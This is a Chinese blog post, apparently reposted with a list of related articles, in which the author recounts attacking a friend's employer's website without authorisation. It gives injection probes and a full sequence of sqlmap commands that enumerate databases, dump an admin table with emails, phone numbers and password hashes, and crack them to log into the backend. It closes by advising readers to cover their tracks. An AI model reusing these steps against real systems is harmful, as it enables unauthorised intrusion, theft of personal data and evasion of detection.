SQL注入—我是如何一步步攻破一家互联网公司的
最近在研究Web安全相关的知识,特别是SQL注入类的相关知识。接触了一些与SQL注入相关的工具。周末在家闲着无聊,想把平时学的东东结合起来攻击一下身边某个小伙伴去的公司,看看能不能得逞。不试不知道,一试还真TM得逞了,内心有些小激动,特在此写博文一篇,来记录下我是如何一步步攻破这家互联网公司的。
【作案工具介绍】
(1) AppScan渗透扫描工具
Appscan是Web应用程序渗透测试舞台上使用最广泛的工具之一。它是一个桌面应用程序,它有助于专业安全人员进行Web应用程序自动化脆弱性评估。
(2) Sqlmap渗透测试工具
Sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。
【作案细节如下】
首先使用Appscan工具,对www.xxx.com互联网公司的官网进行扫描,扫描结果如下:
在这56个安全性问题中,找到你感兴趣的链接,例如下面这条:
http://www.xxx.com/system/cms/show?id=1
为何要挑出这一条呢?因为它对于SQL注入比较典型,下面普及下SQL注入常用手法。首先用如下语句,确定该网站是否存在注入点:
http://192.168.16.128/news.php?id=1 原网站
http://192.168.16.128/news.php?id=1’ 出错或显示不正常
http://192.168.16.128/news.php?id=1 and 1=1 出错或显示不正常
http://192.168.16.128/news.php?id=1 and 1=2 出错或显示不正常
如果有出错,说明存在注入点。
在判断完http://www.xxx.com/system/cms/show?id=1该链接存在注入点后,接下来就启动我们的渗透测试工具Sqlmap,进行下一步的注入工作,详细过程如下:
1) 再次确认目标注入点是否可用:
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1
参数:
-u:指定注入点url
结果:
注入结果展示:
a. 参数id存在基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
b. 参数id存在基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
c. 数据库类型为:MySql 5.0.12
2) 暴库所有数据库:
一条命令即可曝出该sqlserver中所有数据库名称,命令如下:
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --dbs
参数:
--dbs:dbs前面有两条杠,列出所有数据库。
结果:
结果显示该sqlserver中共包含3个可用的数据库。
3) 获取当前使用的数据库
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --current-db
参数:
--current-db:当前所使用的数据库。
结果:
4) 获取当前数据库使用账户
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --current-user
5) 列出sqlserver所有用户
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --users
6) 获取当前用户数据库账户与密码
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --passwords
结果显示该用户可能无读取相关系统的权限。
7) 列出数据库中的表
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store --tables
参数:
-D:指定数据库名称
--tables:列出表
结果:
结果显示共列出了69张表。
8) 列出表中字段
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin --columns
参数:
-D:指定数据库名称
-T:指定要列出字段的表
--columns:指定列出字段
结果:
9)暴字段内容
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id,email,id,mobile,name,password,status" --dump
参数:
-C :指定要暴的字段
--dump:将结果导出
如果字段内容太多,需要花费很多时间。可以指定导出特定范围的字段内容,命令如下:
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id,email,id,mobile,name,password,status" --start 1 --stop 10 --dump
参数:
--start:指定开始的行
--stop:指定结束的行
此条命令的含义为:导出数据库xxx_store中的表mall_admin中的关于字段(ag_id,email,id,mobile,name,password,status)中的第1到第10行的数据内容。
结果如下:
通过上图,我们可以看到admin表中的用户信息了。我们将password字段通过md5解密,可以得到hash的原文密码,通过用户名和密码,我们就可以登录该网站了。
至此,我们已成功入侵到一家公司的后台,并拿到了相关的数据。不过要在这里提醒你:成功入侵只是成功了一半,另外最重要的一半是把屁股擦干净,不让别人发现你了!
本文由腾讯WeTest团队提供,更多资讯可直接戳链接查看:熊哥club »
转载请注明:熊哥club »
SQL注入—我是如何一步步攻破一家互联网公司的的更多相关文章
- Pikachu-Sql Inject(SQL注入)
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞.一个严重的SQL注入漏洞,可能会直接导致一家公司破产!SQL注入漏洞主要形成的原因 ...
- 嗅探、中间人sql注入、反编译--例说桌面软件安全性问题
嗅探.中间人sql注入.反编译--例说桌面软件安全性问题 今天这篇文章不准备讲太多理论,讲我最近遇到的一个案例.从技术上讲,这个例子没什么高深的,还有一点狗屎运的成分,但是它又足够典型,典型到我可以讲 ...
- 转 sql注入
1.判断有无注入点 ; and 1=1 and 1=2 2.猜表一般的表的名称无非是admin adminuser user pass password 等.. and 0<>(selec ...
- 我是如何一步步编码完成万仓网ERP系统的(一)系统架构
https://www.cnblogs.com/smh188/p/11533668.html(我是如何一步步编码完成万仓网ERP系统的(一)系统架构) https://www.cnblogs.com/ ...
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- 如何向非技术人(程序猿)解释SQL注入?
前两天看博客园新闻,有一篇文章名为<我该如何向非技术人解释SQL注入?>(http://kb.cnblogs.com/page/515151/).是一个外国人写的,伯乐在线翻译的.我当时看 ...
- 测试常用SQL注入语句大全
转载自Cracer,标题:<渗透常用SQL注入语句大全>,链接http://www.xxxx.com/?p=2226 1.判断有无注入点 整形参数判断 1.直接加' 2.and 1=1 3 ...
- MySQL数据库学习笔记(九)----JDBC的ResultSet接口(查询操作)、PreparedStatement接口重构增删改查(含SQL注入的解释)
[声明] 欢迎转载,但请保留文章原始出处→_→ 生命壹号:http://www.cnblogs.com/smyhvae/ 文章来源:http://www.cnblogs.com/smyhvae/p/4 ...
- SpringMVC利用拦截器防止SQL注入
引言 随着互联网的发展,人们在享受互联网带来的便捷的服务的时候,也面临着个人的隐私泄漏的问题.小到一个拥有用户系统的小型论坛,大到各个大型的银行机构,互联网安全问题都显得格外重要.而这些网站的背后,则 ...
随机推荐
- Spark读取HBase
背景:公司有些业务需求是存储在HBase上的,总是有业务人员找我要各种数据,所以想直接用Spark( shell) 加载到RDD进行计算 摘要: 1.相关环境 2.代码例子 内容 1.相关环境 Spa ...
- iOS--- UITableView + UISearchDisplayController - - - - -实现搜索功能
iOS中UISearchDisplayController用于搜索,搜索栏的重要性我们就不说了,狼厂就是靠搜索起家的,现在越来越像一匹没有节操的狼,UC浏览器搜索栏现在默认自家的神马搜索,现在不管是社 ...
- sublime text3同时编辑多行
sublime text3同时编辑多行 下面的才是正确的姿势,之前一直是shift + 右键 拖啊. http://stackoverflow.com/questions/32127604/how-t ...
- 调用Child Package
使用Execute Package Task,能够在一个package中调用并执行其他package,被调用的Package称作 Child Package,Execute Package Task ...
- Torch学习笔记1--Torch简介
Torch是什么 Torch是一个由Lua语言开发的深度学习框架,目前支持Mac OS X 和Ubuntu 12及以上,官网 ,github地址. 具有如下特点: 交互式开发工具 可视化式的工具 第三 ...
- 引用类型-Array类型
ECMAScript数组的每一项可以保存任何类型的数据,并且数组的大小是可以动态调整的. 创建数组的基本方式有两种,第一种是使用Array构造函数 var colors = new Array(); ...
- 排名前 8 的 PHP 调试工具
Web 开发并不是一项轻松的任务,有超级多服务端脚本语言提供给开发者,但是当前 PHP 因为具有额外的一些强大的功能而越来越流行.PHP 是最强大的服务端脚本语言之一,同时也是 web 开发者和设计者 ...
- 自己实现简单的string类
1.前言 最近看了下<C++Primer>,觉得受益匪浅.不过纸上得来终觉浅,觉知此事须躬行.今天看了类类型,书中简单实现了String类,自己以前也学过C++,不过说来惭愧,以前都是用C ...
- 【续集】塞翁失马,焉知非福:由 Styles.Render 所引发 runAllManagedModulesForAllRequests="true" 的思考
在上一篇中,还有个遗留问题没有解决,就是 ASP.NET MVC MapRoute .htm 不起作用,如果不使用 runAllManagedModulesForAllRequests="t ...
- 从客户端(&)中检测到有潜在危险的 Request.Path 值
首先,这个问题出现在 ASP.NET MVC 应用程序中,所以下面的解决方式都是在这个环境下. 关于这个问题,网上又很多的答案,当时也搜了一些: A potentially dangerous Req ...